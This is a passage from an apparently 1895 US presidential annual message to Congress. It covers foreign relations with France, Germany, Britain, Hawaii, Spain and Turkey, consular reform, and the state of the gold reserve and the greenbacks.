imprisonment.Following the course justified by abundant precedents, this Government\nrequested from that of France the record of the proceedings of the French\ntribunal which resulted in Mr. Waller's condemnation. This request has been\ncomplied with to the extent of supplying a copy of the official record, from\nwhich appear the constitution and organization of the court, the charges as\nformulated, and the general course and result of the trial, and by which it is\nshown that the accused was tried in open court and was defended by counsel;\nbut the evidence adduced in support of the charges, which was not received by\nthe French minister for foreign affairs till the first week in October, has\nthus far been withheld, the French Government taking the ground that its\nproduction in response to our demand would establish a bad precedent. The\nefforts of our ambassador to procure it, however, though impeded by recent\nchanges in the French ministry, have not been relaxed, and it is confidently\nexpected that some satisfactory solution of the matter will shortly be\nreached. Meanwhile it appears that Mr. Waller's confinement has every\nalleviation which the state of his health and all the other circumstances of\nthe case demand or permit.In agreeable contrast to the difference above noted respecting a matter of\ncommon concern, where nothing is sought except such a mutually satisfactory\noutcome as the true merits of the case require, is the recent resolution of\nthe French Chambers favoring the conclusion of a permanent treaty of\narbitration between the two countries.An invitation has been extended by France to the Government and people of the\nUnited States to participate in a great international exposition at Paris in\n1900 as a suitable commemoration of the close of this the world's marvelous\ncentury of progress. I heartily recommend its acceptance, together with such\nlegislation as will adequately provide for a due representation of this\nGovernment and its people on the occasion.Our relations with the States of the German Empire are in some aspects typical\nof a condition of things elsewhere found in countries whose productions and\ntrade are similar to our own. The close rivalries of competing industries; the\ninfluence of the delusive doctrine that the internal development of a nation\nis promoted and its wealth increased by a policy which, in undertaking to\nreserve its home markets for the exclusive use of its own producers,\nnecessarily obstructs their sales in foreign markets and prevents free access\nto the products of the world; the desire to retain trade in time-worn ruts,\nregardless of the inexorable laws of new needs and changed conditions of\ndemand and supply, and our own halting tardiness in inviting a freer exchange\nof commodities, and by this means imperiling our footing in the external\nmarkets naturally open to us, have created a situation somewhat injurious to\nAmerican export interests, not only in Germany, where they are perhaps most\nnoticeable, but in adjacent countries. The exports affected are largely\nAmerican cattle and other food products, the reason assigned for unfavorable\ndiscrimination being that their consumption is deleterious to the public\nhealth. This is all the more irritating in view of the fact that no European\nstate is as jealous of the excellence and wholesomeness of its exported food\nsupplies as the United States, nor so easily able, on account of inherent\nsoundness, to guarantee those qualities.Nor are these difficulties confined to our food products designed for\nexportation. Our great insurance companies, for example, having built up a\nvast business abroad and invested a large share of their gains in foreign\ncountries in compliance with the local laws and regulations then existing, now\nfind themselves within a narrowing circle of onerous and unforeseen\nconditions, and are confronted by the necessity of retirement from a field\nthus made unprofitable, if, indeed, they are not summarily expelled, as some\nof them have lately been from Prussia.It is not to be forgotten that international trade can not be one-sided. Its\ncurrents are alternating, and its movements should be honestly reciprocal.\nWithout this it almost necessarily degenerates into a device to gain advantage\nor a contrivance to secure benefits with only the semblance of a return. In\nour dealings with other nations we ought to be open-handed and scrupulously\nfair. This should be our policy as a producing nation, and it plainly becomes\nus as a people who love generosity and the moral aspects of national good\nfaith and reciprocal forbearance.These considerations should not, however, constrain us to submit to unfair\ndiscrimination nor to silently acquiesce in vexatious hindrances to the\nenjoyment of our share of the legitimate advantages of proper trade relations.\nIf an examination of the situation suggests such measures on our part as would\ninvolve restrictions similar to those from which we suffer, the way to such a\ncourse is easy. It should, however, by no means be lightly entered upon, since\nthe necessity for the inauguration of such a policy would be regretted by the\nbest sentiment of our people and because it naturally and logically might lead\nto consequences of the gravest character.I take pleasure in calling to your attention the encomiums bestowed on those\nvessels of our new Navy which took part in the notable ceremony of the opening\nof the Kiel Canal. It was fitting that this extraordinary achievement of the\nnewer German nationality should be celebrated in the presence of America's\nexposition of the latest developments of the world' s naval energy.Our relations with Great Britain, always intimate and important, have demanded\nduring the past year even a greater share of consideration than is usual.Several vexatious questions were left undetermined by the decision of the\nBering Sea Arbitration Tribunal. The application of the principles laid down\nby that august body has not been followed by the results they were intended to\naccomplish, either because the principles themselves lacked in breadth and\ndefiniteness or because their execution has been more or less imperfect. Much\ncorrespondence has been exchanged between the two Governments on the subject\nof preventing the exterminating slaughter of seals. The insufficiency of the\nBritish patrol of Bering Sea under the regulations agreed on by the two\nGovernments has been pointed out, and yet only two British ships have been on\npolice duty during this season in those waters.The need of a more effective enforcement of existing regulations as well as\nthe adoption of such additional regulations as experience has shown to be\nabsolutely necessary to carry out the intent of the award have been earnestly\nurged upon the British Government, but thus far without effective results. In\nthe meantime the depletion of the seal herds by means of pelagic hunting has\nso alarmingly progressed that unless their slaughter is at once effectively\nchecked their extinction within a few years seems to be a matter of absolute\ncertainty.The understanding by which the United States was to pay and Great Britain to\nreceive a lump sum of $425,000 in full settlement of all British claims for\ndamages arising from our seizure of British sealing vessels unauthorized under\nthe award of the Paris Tribunal of Arbitration was not confirmed by the last\nCongress, which declined to make the necessary appropriation. I am still of\nthe opinion that this arrangement was a judicious and advantageous one for the\nGovernment, and I earnestly recommend that it be again considered and\nsanctioned. If, however, this does not meet with the favor of Congress, it\ncertainly will hardly dissent from the proposition that the Government is\nbound by every consideration of honor and good faith to provide for the speedy\nadjustment of these claims by arbitration as the only other alternative. A\ntreaty of arbitration has therefore been agreed upon, and will be immediately\nlaid before the Senate, so that in one of the modes suggested a final\nsettlement may be reached.Notwithstanding that Great Britain originated the proposal to enforce\ninternational rules for the prevention of collisions at sea, based on the\nrecommendations of the Maritime Conference of Washington, and concurred in,\nsuggesting March 11, 1895, as the date to be set by proclamation for carrying\nthese rules into general effect, Her Majesty's Government, having encountered\nopposition on the part of British shipping interests, announced its inability\nto accept that date, which was consequently canceled. The entire matter is\nstill in abeyance, without prospect of a better condition in the near future.The commissioners appointed to mark the international boundary in\nPassamaquoddy Bay according to the description of the treaty of Ghent have not\nyet fully agreed.The completion of the preliminary survey of that Alaskan boundary which\nfollows the contour of the coast from the southernmost point of Prince of\nWales Island until it strikes the one hundred and forty-first meridian at or\nnear the summit of Mount St. Elias awaits further necessary appropriation,\nwhich is urgently recommended. This survey was undertaken under the provisions\nof the convention entered into by this country and Great Britain July 22,\n1892, and the supplementary convention of February 3, 1894.As to the remaining section of the Alaskan boundary, which follows the one\nhundred and forty-first meridian northwardly from Mount St. Elias to the\nFrozen Ocean, the settlement of which involves the physical location of the\nmeridian mentioned, no conventional agreement has yet been made. The\nascertainment of a given meridian at a particular point is a work requiring\nmuch time and careful observations and surveys. Such observations and surveys\nwere undertaken by the United States Coast and Geodetic Survey in 1890 and\n1891, while similar work in the same quarters, under British auspices, is\nbelieved to give nearly coincident results; but these surveys have been\nindependently conducted, and no international agreement to mark those or any\nother parts of the one hundred and forty-first meridian by permanent monuments\nhas yet been made. In the meantime the valley of the Yukon is becoming a\nhighway through the hitherto unexplored wilds of Alaska, and abundant mineral\nwealth has been discovered in that region, especially at or near the junction\nof the boundary meridian with the Yukon and its tributaries. In these\ncircumstances it is expedient, and, indeed, imperative, that the\njurisdictional limits of the respective Governments in this new region be\nspeedily determined. Her Britannic Majesty's Government has proposed a joint\ndelimitation of the one hundred and forty-first meridian by an international\ncommission of experts, which, if Congress will authorize it and make due\nprovision therefor, can be accomplished with no unreasonable delay. It is\nimpossible to overlook the vital importance of continuing the work already\nentered upon and supplementing it by further effective measures looking to the\nexact location of this entire boundary line.I call attention to the unsatisfactory delimitation of the respective\njurisdictions of the United States and the Dominion of Canada in the Great\nLakes at the approaches to the narrow waters that connect them. The waters in\nquestion are frequented by fishermen of both nationalities and their nets are\nthere used. Owing to the uncertainty and ignorance as to the true boundary,\nvexations disputes and injurious seizures of boats and nets by Canadian\ncruisers often occur, while any positive settlement thereof by an accepted\nstandard is not easily to be reached. A joint commission to determine the line\nin those quarters on a practical basis, by measured courses following range\nmarks on shore, is a necessity for which immediate provision should be made.It being apparent that the boundary dispute between Great Britain and the\nRepublic of Venezuela concerning the limits of British Guiana was approaching\nan acute stage, a definite statement of the interest and policy of the United\nStates as regards the controversy seemed to be required both on its own\naccount and in view of its relations with the friendly powers directly\nconcerned. In July last, therefore, a dispatch was addressed to our ambassador\nat London for communication to the British Government in which the attitude of\nthe United States was fully and distinctly set forth. The general conclusions\ntherein reached and formulated are in substance that the traditional and\nestablished policy of this Government is firmly opposed to a forcible increase\nby any European power of its territorial possessions on this continent; that\nthis policy is as well rounded in principle as it is strongly supported by\nnumerous precedents; that as a consequence the United States is bound to\nprotest against the enlargement of the area of British Guiana in derogation of\nthe rights and against the will of Venezuela; that considering the disparity\nin strength of Great Britain and Venezuela the territorial dispute between\nthem can be reasonably settled only by friendly and impartial arbitration, and\nthat the resort to such arbitration should include the whole controversy, and\nis not satisfied if one of the powers concerned is permitted to draw an\narbitrary line through the territory in debate and to declare that it will\nsubmit to arbitration only the portion lying on one side of it. In view of\nthese conclusions, the dispatch in question called upon the British Government\nfor a definite answer to the question whether it would or would not submit the\nterritorial controversy between itself and Venezuela in its entirety to\nimpartial arbitration. The answer of the British Government has not yet been\nreceived, but is expected shortly, when further communication on the subject\nwill probably be made to the Congress.Early in January last an uprising against the Government of Hawaii was\npromptly suppressed. Martial law was forthwith proclaimed and numerous arrests\nwere made of persons suspected of being in sympathy with the Royalist party.\nAmong these were several citizens of the United States, who were either\nconvicted by a military court and sentenced to death, imprisonment, or fine or\nwere deported without trial. The United States, while denying protection to\nsuch as had taken the Hawaiian oath of allegiance, insisted that martial law,\nthough altering the forms of justice, could not supersede justice itself, and\ndemanded stay of execution until the proceedings had been submitted to this\nGovernment and knowledge obtained therefrom that our citizens had received\nfair trial. The death sentences were subsequently commuted or were remitted on\ncondition of leaving the islands. The cases of certain Americans arrested and\nexpelled by arbitrary order without formal charge or trial have had attention,\nand in some instances have been found to justify remonstrance and a claim for\nindemnity, which Hawaii has not thus far conceded.Mr. Thurston, the Hawaiian minister, having furnished this Government abundant\nreason for asking that he be recalled, that course was pursued, and his\nsuccessor has lately been received.The deplorable lynching of several Italian laborers in Colorado was naturally\nfollowed by international representations, and I am happy to say that the best\nefforts of the State in which the outrages occurred have been put forth to\ndiscover and punish the authors of this atrocious crime. The dependent\nfamilies of some of the unfortunate victims invite by their deplorable\ncondition gracious provision for their needs.These manifestations against helpless aliens may be traced through successive\nstages to the vicious padroni system, which, unchecked by our immigration and\ncontract-labor statutes, controls these workers from the moment of landing on\nour shores and farms them out in distant and often rude regions, where their\ncheapening competition in the fields of bread-winning toil brings them into\ncollision with other labor interests. While welcoming, as we should, those who\nseek our shores to merge themselves in our body politic and win personal\ncompetence by honest effort, we can not regard such assemblages of\ndistinctively alien laborers, hired out in the mass to the profit of alien\nspeculators and shipped hither and thither as the prospect of gain may\ndictate, as otherwise than repugnant to the spirit of our civilization,\ndeterrent to individual advancement, and hindrances to the building up of\nstable communities resting upon the wholesome ambitions of the citizen and\nconstituting the prime factor in the prosperity and progress of our nation. If\nlegislation can reach this growing evil, it certainly should be attempted.Japan has furnished abundant evidence of her vast gain in every trait and\ncharacteristic that constitutes a nation's greatness. We have reason for\ncongratulation in the fact that the Government of the United States, by the\nexchange of liberal treaty stipulations with the new Japan, was the first to\nrecognize her wonderful advance and to extend to her the consideration and\nconfidence due to her national enlightenment and progressive character.The boundary dispute which lately threatened to embroil Guatemala and Mexico\nhas happily yielded to pacific counsels, and its determination has, by the\njoint agreement of the parties, been submitted to the sole arbitration of the\nUnited States minister to Mexico.The commission appointed under the convention of February 18, 1889, to set new\nmonuments along the boundary between the United States and Mexico has\ncompleted its task.As a sequel to the failure of a scheme for the colonization in Mexico of\nnegroes, mostly immigrants from Alabama under contract, a great number of\nthese helpless and suffering people, starving and smitten with contagious\ndisease, made their way or were assisted to the frontier, where, in wretched\nplight, they were quarantined by the Texas authorities. Learning of their\ndestitute condition, I directed rations to be temporarily furnished them\nthrough the War Department. At the expiration of their quarantine they were\nconveyed by the railway companies at comparatively nominal rates to their\nhomes in Alabama, upon my assurance, in the absence of any fund available for\nthe cost of their transportation, that I would recommend to Congress an\nappropriation for its payment. I now strongly urge upon Congress the propriety\nof making such an appropriation. It should be remembered that the measures\ntaken were dictated not only by sympathy and humanity, but by a conviction\nthat it was not compatible with the dignity of this Government that so large a\nbody of our dependent citizens should be thrown for relief upon the charity of\na neighboring state.In last year's message I narrated at some length the jurisdictional questions\nthen freshly arisen in the Mosquito Indian Strip of Nicaragua. Since that\ntime, by the voluntary act of the Mosquito Nation, the territory reserved to\nthem has been incorporated with Nicaragua, the Indians formally subjecting\nthemselves to be governed by the general laws and regulations of the Republic\ninstead of by their own customs and regulations, and thus availing themselves\nof a privilege secured to them by the treaty between Nicaragua and Great\nBritain of January 28, 1860.After this extension of uniform Nicaraguan administration to the Mosquito\nStrip, the case of the British vice-consul, Hatch, and of several of his\ncountrymen who had been summarily expelled from Nicaragua and treated with\nconsiderable indignity provoked a claim by Great Britain upon Nicaragua for\npecuniary indemnity, which, upon Nicaragua's refusal to admit liability, was\nenforced by Great Britain. While the sovereignty and jurisdiction of Nicaragua\nwas in no way questioned by Great Britain, the former's arbitrary conduct in\nregard to British subjects furnished the ground for this proceeding.A British naval force occupied without resistance the Pacific seaport of\nCorinto, but was soon after withdrawn upon the promise that the sum demanded\nwould be paid. Throughout this incident the kindly offices of the United\nStates were invoked and were employed in favor of as peaceful a settlement and\nas much consideration and indulgence toward Nicaragua as were consistent with\nthe nature of the case. Our efforts have since been made the subject of\nappreciative and grateful recognition by Nicaragua. The coronation of the Czar\nof Russia at Moscow in May next invites the ceremonial participation of the\nUnited States, and in accordance with usage and diplomatic propriety our\nminister to the imperial court has been directed to represent our Government\non the occasion.Correspondence is on foot touching the practice of Russian consuls within the\njurisdiction of the United States to interrogate citizens as to their race and\nreligious faith, and upon ascertainment thereof to deny to Jews authentication\nof passports or legal documents for use in Russia. Inasmuch as such a\nproceeding imposes a disability which in the case of succession to property in\nRussia may be found to infringe the treaty rights of our citizens, and which\nis an obnoxious invasion of our territorial jurisdiction, it has elicited\nfitting remonstrance, the result of which, it is hoped, will remove the cause\nof complaint. The pending claims of sealing vessels of the United States\nseized in Russian waters remain unadjusted. Our recent convention with Russia\nestablishing a modus vivendi as to imperial jurisdiction in such cases has\nprevented further difficulty of this nature.The Russian Government has welcomed in principle our suggestion for a modus\nvivendi, to embrace Great Britain and Japan, looking to the better\npreservation of seal life in the North Pacific and Bering Sea and the\nextension of the protected area defined by the Paris Tribunal to all Pacific\nwaters north of the thirty-fifth parallel. It is especially noticeable that\nRussia favors prohibition of the use of firearms in seal hunting throughout\nthe proposed area and a longer closed season for pelagic sealing.In my last two annual messages I called the attention of the Congress to the\nposition we occupied as one of the parties to a treaty or agreement by which\nwe became jointly bound with England and Germany to so interfere with the\ngovernment and control of Samoa as in effect to assume the management of its\naffairs. On the 9th day of May, 1894, I transmitted to the Senate a special\nmessage, with accompanying documents, giving information on the subject and\nemphasizing the opinion I have at all times entertained, that our situation in\nthis matter was inconsistent with the mission and traditions of our\nGovernment, in violation of the principles we profess, and in all its phases\nmischievous and vexatious.I again press this subject upon the attention of the Congress and ask for such\nlegislative action or expression as will lead the way to our relief from\nobligations both irksome and unnatural.Cuba is again gravely disturbed. An insurrection in some respects more active\nthan the last preceding revolt, which continued from 1868 to 1878, now exists\nin a large part of the eastern interior of the island, menacing even some\npopulations on the coast. Besides deranging the commercial exchanges of the\nisland, of which our country takes the predominant share, this flagrant\ncondition of hostilities, by arousing sentimental sympathy and inciting\nadventurous support among our people, has entailed earnest effort on the part\nof this Government to enforce obedience to our neutrality laws and to prevent\nthe territory of the United States from being abused as a vantage ground from\nwhich to aid those in arms against Spanish sovereignty.Whatever may be the traditional sympathy of our countrymen as individuals with\na people who seem to be struggling for larger autonomy and greater freedom,\ndeepened, as such sympathy naturally must be, in behalf of our neighbors, yet\nthe plain duty of their Government is to observe in good faith the recognized\nobligations of international relationship. The performance of this duty should\nnot be made more difficult by a disregard on the part of our citizens of the\nobligations growing out of their allegiance to their country, which should\nrestrain them from violating as individuals the neutrality which the nation of\nwhich they are members is bound to observe in its relations to friendly\nsovereign states. Though neither the warmth of our people's sympathy with the\nCuban insurgents, nor our loss and material damage consequent upon the futile\nendeavors thus far made to restore peace and order, nor any shock our humane\nsensibilities may have received from the cruelties which appear to especially\ncharacterize this sanguinary and fiercely conducted war, have in the least\nshaken the determination of the Government to honestly fulfill every\ninternational obligation, yet it is to be earnestly hoped on every ground that\nthe devastation of armed conflict may speedily be stayed and order and quiet\nrestored to the distracted island, bringing in their train the activity and\nthrift of peaceful pursuits.One notable instance of interference by Spain with passing American ships has\noccurred. On March 8 last the Allianca, while bound from Colon to New York,\nand following the customary track for vessels near the Cuban shore, but\noutside the 3-mile limit, was fired upon by a Spanish gunboat. Protest was\npromptly made by the United States against this act as not being justified by\na state of war, nor permissible in respect of vessels on the usual paths of\ncommerce, nor tolerable in view of the wanton peril occasioned to innocent\nlife and property. The act was disavowed, with full expression of regret and\nassurance of nonrecurrence of such just cause of complaint, while the\noffending officer was relieved of his command. Military arrests of citizens of\nthe United States in Cuba have occasioned frequent reclamations. Where held on\ncriminal charges their delivery to the ordinary civil jurisdiction for trial\nhas been demanded and obtained in conformity with treaty provisions, and where\nmerely detained by way of military precaution under a proclaimed state of\nsiege, without formulated accusation, their release or trial has been insisted\nupon. The right of American consular officers in the island to prefer protests\nand demands in such cases having been questioned by the insular authority,\ntheir enjoyment of the privilege stipulated by treaty for the consuls of\nGermany was claimed under the most-favored-nation provision of our own\nconvention and was promptly recognized.The long-standing demand of Antonio Maximo Mora against Spain has at last been\nsettled by the payment, on the 14th of September last, of the sum originally\nagreed upon in liquidation of the claim. Its distribution among the parties\nentitled to receive it has proceeded as rapidly as the rights of those\nclaiming the fund could be safely determined.The enforcement of differential duties against products of this country\nexported to Cuba and Puerto Rico prompted the immediate claim on our part to\nthe benefit of the minimum tariff of Spain in return for the most favorable\ntreatment permitted by our laws as regards the production of Spanish\nterritories. A commercial arrangement was concluded in January last securing\nthe treatment so claimed.Vigorous protests against excessive fines imposed on our ships and merchandise\nby the customs officers of these islands for trivial errors have resulted in\nthe remission of such fines in instances where the equity of the complaint was\napparent, though the vexatious practice has not been wholly discontinued.Occurrences in Turkey have continued to excite concern. The reported massacres\nof Christians in Armenia and the development there and in other districts of a\nspirit of fanatic hostility to Christian influences naturally excited\napprehension for the safety of the devoted men and women who, as dependents of\nthe foreign missionary societies in the United States, reside in Turkey under\nthe guaranty of law and usage and in the legitimate performance of their\neducational and religious mission. No efforts have been spared in their\nbehalf, and their protection in person and property has been earnestly and\nvigorously enforced by every means within our power.I regret, however, that an attempt on our part to obtain better information\nconcerning the true condition of affairs in the disturbed quarter of the\nOttoman Empire by sending thither the United States consul at Sivas to make\ninvestigation and report was thwarted by the objections of the Turkish\nGovernment. This movement on our part was in no sense meant as a gratuitous\nentanglement of the United States in the so-called Eastern question nor as an\nofficious interference with the right and duty which belong by treaty to\ncertain great European powers calling for their intervention in political\nmatters affecting the good government and religious freedom of the\nnon-Mussulman subjects of the Sultan, but it arose solely from our desire to\nhave an accurate knowledge of the conditions in our efforts to care for those\nentitled to our protection.The presence of our naval vessels which are now in the vicinity of the\ndisturbed localities affords opportunities to acquire a measure of familiarity\nwith the condition of affairs and will enable us to take suitable steps for\nthe protection of any interests of our countrymen within reach of our ships\nthat might be found imperiled.The Ottoman Government has lately issued an imperial irade exempting forever\nfrom taxation an American college for girls at Scutari. Repeated assurances\nhave also been obtained by our envoy at Constantinople that similar\ninstitutions maintained and administered by our countrymen shall be secured in\nthe enjoyment of all rights and that our citizens throughout the Empire shall\nbe protected.The Government, however, in view of existing facts, is far from relying upon\nsuch assurances as the limit of its duty. Our minister has been vigilant and\nalert in affording all possible protection in individual cases where danger\nthreatened or safety was imperiled. We have sent ships as far toward the\npoints of actual disturbance as it is possible for them to go, where they\noffer refuge to those obliged to flee, and we have the promise of other powers\nwhich have ships in the neighborhood that our citizens as well as theirs will\nbe received and protected on board those ships. On the demand of our minister\norders have been issued by the Sultan that Turkish soldiers shall guard and\nescort to the coast American refugees.These orders have been carried out, and our latest intelligence gives\nassurance of the present personal safety of our citizens and missionaries.\nThough thus far no lives of American citizens have been sacrificed, there can\nbe no doubt that serious loss and destruction of mission property have\nresulted from riotous conflicts and outrageous attacks.By treaty several of the most powerful European powers have secured a right\nand have assumed a duty not only in behalf of their own citizens and in\nfurtherance of their own interests, but as agents of the Christian world.\nTheir right is to enforce such conduct of Turkish government as will restrain\nfanatical brutality, and if this fails their duty is to so interfere as to\ninsure against such dreadful occurrences in Turkey as have lately shocked\ncivilization. The powers declare this right and this duty to be theirs alone,\nand it is earnestly hoped that prompt and effective action on their part will\nnot be delayed.The new consulates at Erzerum and Harpoot, for which appropriation was made\nlast session, have been provisionally filled by trusted employees of the\nDepartment of State. These appointees, though now in Turkey, have not yet\nreceived their exequaturs.The arbitration of the claim of the Venezuela Steam Transportation Company\nunder the treaty of January 19, 1892, between the United States and Venezuela,\nresulted in an award in favor of the claimant.The Government has used its good offices toward composing the differences\nbetween Venezuela on the one hand and France and Belgium on the other growing\nout of the dismissal of the representatives of those powers on the ground of a\npublication deemed offensive to Venezuela. Although that dismissal was coupled\nwith a cordial request that other more personally agreeable envoys be sent in\ntheir stead, a rupture of intercourse ensued and still continues.In view of the growth of our interests in foreign countries and the\nencouraging prospects for a general expansion of our commerce, the question of\nan improvement in the consular service has increased in importance and\nurgency. Though there is no doubt that the great body of consular officers are\nrendering valuable services to the trade and industries of the country, the\nneed of some plan of appointment and control which would tend to secure a\nhigher average of efficiency can not be denied.The importance of the subject has led the Executive to consider what steps\nmight properly be taken without additional legislation to answer the need of a\nbetter system of consular appointments. The matter having been committed to\nthe consideration of the Secretary of State, in pursuance of his\nrecommendations an Executive order was issued on the 20th of September, 1895,\nby the terms of which it is provided that after that date any vacancy in a\nconsulate or commercial agency with an annual salary or compensation from\nofficial fees of not more than $2,500 or less than $1,000 should be filled\neither by transfer or promotion from some other position under the Department\nof State of a character tending to qualify the incumbent for the position to\nbe filled, or by the appointment of a person not under the Department of\nState, but having previously served thereunder and shown his capacity and\nfitness for consular duty, or by the appointment of a person who, having been\nselected by the President and sent to a board for examination, is found upon\nsuch examination to be qualified for the position. Posts which pay less than\n$1,000 being usually, on account of their small compensation, filled by\nselection from residents of the locality, it was not deemed practicable to put\nthem under the new system.The compensation of $2,500 was adopted as the maximum limit in the\nclassification for the reason that consular officers receiving more than that\nsum are often charged with functions and duties scarcely inferior in dignity\nand importance to those of diplomatic agents, and it was therefore thought\nbest to continue their selection in the discretion of the Executive without\nsubjecting them to examination before a board. Excluding 71 places with\ncompensation at present less than $1,000 and 53 places above the maximum in\ncompensation, the number of positions remaining within the scope of the order\nis 196. This number will undoubtedly be increased by the inclusion of consular\nofficers whose remuneration in fees, now less than $1,000, will be augmented\nwith the growth of our foreign commerce and a return to more favorable\nbusiness conditions.In execution of the Executive order referred to the Secretary of State has\ndesignated as a board to conduct the prescribed examinations the Third\nAssistant Secretary of State, the Solicitor of the Department of State, and\nthe Chief of the Consular Bureau, and has specified the subjects to which such\nexaminations shall relate.It is not assumed that this system will prove a full measure of consular\nreform. It is quite probable that actual experience will show particulars in\nwhich the order already issued may be amended and demonstrate that for the\nbest results appropriate legislation by Congress is imperatively required.In any event, these efforts to improve the consular service ought to be\nimmediately supplemented by legislation providing for consular inspection.\nThis has frequently been a subject of Executive recommendation, and I again\nurge such action by Congress as will permit the frequent and thorough\ninspection of consulates by officers appointed for that purpose or by persons\nalready in the diplomatic or consular service. The expense attending such a\nplan would be insignificant compared with its usefulness, and I hope the\nlegislation necessary to set it on foot will be speedily forthcoming.I am thoroughly convinced that in addition to their salaries our ambassadors\nand ministers at foreign courts should be provided by the Government with\nofficial residences. The salaries of these officers are comparatively small\nand in most cases insufficient to pay, with other necessary expenses, the cost\nof maintaining household establishments in keeping with their important and\ndelicate functions. The usefulness of a nation's diplomatic representative\nundeniably depends much upon the appropriateness of his surroundings, and a\ncountry like ours, while avoiding unnecessary glitter and show, should be\ncertain that it does not suffer in its relations with foreign nations through\nparsimony and shabbiness in its diplomatic outfit. These considerations and\nthe other advantages of having fixed and somewhat permanent locations for our\nembassies would abundantly justify the moderate expenditure necessary to carry\nout this suggestion.As we turn from a review of our foreign relations to the contemplation of our\nnational financial situation we are immediately aware that we approach a\nsubject of domestic concern more important than any other that can engage our\nattention, and one at present in such a perplexing and delicate predicament as\nto require prompt and wise treatment.We may well be encouraged to earnest effort in this direction when we recall\nthe steps already taken toward improving our economic and financial situation\nand when we appreciate how well the way has been prepared for further progress\nby an aroused and intelligent popular interest in these subjects.By command of the people a customs-revenue system designed for the protection\nand benefit of favored classes at the expense of the great mass of our\ncountrymen, and which, while inefficient for the purpose of revenue, curtailed\nour trade relations and impeded our entrance to the markets of the world, has\nbeen superseded by a tariff policy which in principle is based upon a denial\nof the right of the Government to obstruct the avenues to our people's cheap\nliving or lessen their comfort and contentment for the sake of according\nespecial advantages to favorites, and which, while encouraging our intercourse\nand trade with other nations, recognizes the fact that American self-reliance,\nthrift, and ingenuity can build up our country's industries and develop its\nresources more surely than enervating paternalism.The compulsory purchase and coinage of silver by the Government, unchecked and\nunregulated by business conditions and heedless of our currency needs, which\nfor more than fifteen years diluted our circulating medium, undermined\nconfidence abroad in our financial ability, and at last culminated in distress\nand panic at home, has been recently stopped by the repeal of the laws which\nforced this reckless scheme upon the country.The things thus accomplished, notwithstanding their extreme importance and\nbeneficent effects, fall far short of curing the monetary evils from which we\nsuffer as a result of long indulgence in ill-advised financial expedients.The currency denominated United States notes and commonly known as greenbacks\nwas issued in large volume during the late Civil War and was intended\noriginally to meet the exigencies of that period. It will be seen by a\nreference to the debates in Congress at the time the laws were passed\nauthorizing the issue of these notes that their advocates declared they were\nintended for only temporary use and to meet the emergency of war. In almost if\nnot all the laws relating to them some provision was made contemplating their\nvoluntary or compulsory retirement. A large quantity of them, however, were\nkept on foot and mingled with the currency of the country, so that at the\nclose of the year 1874 they amounted to $381,999,073.Immediately after that date, and in January, 1875, a law was passed providing\nfor the resumption of specie payments, by which the Secretary of the Treasury\nwas required whenever additional circulation was issued to national banks to\nretire United States notes equal in amount to 80 per cent of such additional\nnational-bank circulation until such notes were reduced to $300,000,000. This\nlaw further provided that on and after the 1st day of January, 1879, the\nUnited States notes then outstanding should be redeemed in coin, and in order\nto provide and prepare for such redemption the Secretary of the Treasury was\nauthorized not only to use any surplus revenues of the Government, but to\nissue bonds of the United States and dispose of them for coin and to use the\nproceeds for the purposes contemplated by the statute.In May, 1878, and before the date thus appointed for the redemption and\nretirement of these notes, another statute was passed forbidding their further\ncancellation and retirement. Some of them had, however, been previously\nredeemed and canceled upon the issue of additional national-bank circulation,\nas permitted by the law of 1875, so that the amount outstanding at the time of\nthe passage of the act forbidding their further retirement was $346,681,016.The law of 1878 did not stop at distinct prohibition, but contained in\naddition the following express provision:And when any of said notes may be redeemed or be received into the Treasury\nunder any law from any source whatever, and shall belong to the United States,\nthey shall not be retired, canceled, or destroyed, but they shall be reissued\nand paid out again and kept in circulation.This was the condition of affairs on the 1st day of January, 1879, which had\nbeen fixed upon four years before as the date for entering upon the redemption\nand retirement of all these notes, and for which such abundant means had been\nprovided.The Government was put in the anomalous situation of owing to the holders of\nits notes debts payable in gold on demand which could neither be retired by\nreceiving such notes in discharge of obligations due the Government nor\ncanceled by actual payment in gold. It was forced to redeem without redemption\nand to pay without acquittance.There had been issued and sold $95,500,000 of the bonds authorized by the\nresumption act of 1875, the proceeds of which, together with other gold in the\nTreasury, created a gold fund deemed sufficient to meet the demands which\nmight be made upon it for the redemption of the outstanding United States\nnotes. This fund, together with such other gold as might be from time to time\nin the Treasury available for the same purpose, has been since called our gold\nreserve, and $100,000,000 has been regarded as an adequate amount to\naccomplish its object. This fund amounted on the 1st day of January, 1879, to\n$114,193,360, and though thereafter constantly fluctuating it did not fall\nbelow that sum until July, 1892. In April, 1893, for the first time since its\nestablishment, this reserve amounted to less than $100,000,000, containing at\nthat date only $97,011,330.In the meantime, and in July, 1890, an act had been passed directing larger\ngovernmental monthly purchases of silver than had been required under previous\nlaws, and providing that in payment for such silver Treasury notes of the\nUnited States should be issued payable on demand in gold or silver coin, at\nthe discretion of the Secretary of the Treasury. It was, however, declared in\nthe act to be\" the established policy of the United States to maintain the two\nmetals on a parity with each other upon the present legal ratio or such ratio\nas may be provided by law.\" In view of this declaration it was not deemed\npermissible for the Secretary of the Treasury to exercise the discretion in\nterms conferred on him by refusing to pay gold on these notes when demanded,\nbecause by such discrimination in favor of the gold dollar the so-called\nparity of the two metals would be destroyed and grave and dangerous\nconsequences would be precipitated by affirming or accentuating the constantly\nwidening disparity between their actual values under the existing ratio.It thus resulted that the Treasury notes issued in payment of silver purchases\nunder the law of 1890 were necessarily treated as gold obligations at the\noption of the holder. These notes on the 1st day of November, 1893, when the\nlaw compelling the monthly purchase of silver was repealed, amounted to more\nthan $155,000,000. The notes of this description now outstanding added to the\nUnited States notes still undiminished by redemption or cancellation\nconstitute a volume of gold obligations amounting to nearly $500,000,000.These obligations are the instruments which ever since we had a gold reserve\nhave been used to deplete it.This reserve, as has been stated, had fallen in April, 1893, to $97,111,330.\nIt has from that time to the present, with very few and unimportant upward\nmovements, steadily decreased, except as it has been temporarily replenished\nby the sale of bonds.Among the causes for this constant and uniform shrinkage in this fund may be\nmentioned the great falling off of exports under the operation of the tariff\nlaw until recently in force, which crippled our exchange of commodities with\nforeign nations and necessitated to some extent the payment of our balances in\ngold; the unnatural infusion of silver into our currency and the increasing\nagitation for its free and unlimited coinage, which have created apprehension\nas to our disposition or ability to continue gold payments; the consequent\nhoarding of gold at home and the stoppage of investments of foreign capital,\nas well as the return of our securities already sold abroad; and the high rate\nof foreign exchange, which induced the shipment of our gold to be drawn\nagainst as a matter of speculation.In consequence of these conditions the gold reserve on the 1st day of\nFebruary, 1894, was reduced to $65,438,377, having lost more than $31,000,000\nduring the preceding nine months, or since April, 1893. Its replenishment\nbeing 